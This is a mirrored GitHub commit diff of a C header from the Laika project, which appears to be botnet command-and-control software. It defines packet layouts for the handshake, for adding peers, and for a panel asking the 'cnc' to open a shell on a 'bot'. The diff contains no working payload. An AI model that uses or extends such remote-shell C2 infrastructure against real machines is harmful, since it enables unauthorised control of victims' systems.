1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-15 12:00:13 +00:00

Refactored LAIKAPKT_HANDSHAKE_REQ, laikaS_acceptFrom

- added inet member to peer structs
This commit is contained in:
2022-03-04 20:17:03 -06:00
parent 12a1329101
commit 0c2d4968d9
11 changed files with 59 additions and 36 deletions

View File

@@ -9,7 +9,8 @@
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
#define LAIKA_INET_LEN INET_ADDRSTRLEN
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
@@ -45,7 +46,7 @@ enum {
* uint8_t minorVer;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char ipv4[LAIKA_IPV4_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
@@ -72,6 +73,7 @@ enum {
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
*/
@@ -80,7 +82,7 @@ enum {
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
*/